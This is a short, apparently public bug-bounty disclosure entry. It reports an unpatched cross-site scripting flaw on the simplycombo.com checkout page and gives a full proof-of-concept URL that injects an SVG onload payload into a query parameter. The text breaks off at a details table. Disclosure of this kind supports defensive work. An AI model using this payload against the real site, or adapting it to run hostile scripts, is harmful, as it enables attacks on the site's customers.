simplycombo.com XSS vulnerability

Vulnerable URL: https://www.simplycombo.com/checkout/?paymentsuccpage=%22%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Elandingpage=/my-contentname=Simply%20Combosubmitted=Y=https%3A//www.simplycombo.com/checkout/=buynowlastupsell=YESgateway=stripe=Y=Y=N Details: Description| Value ---|--- Patched:| No...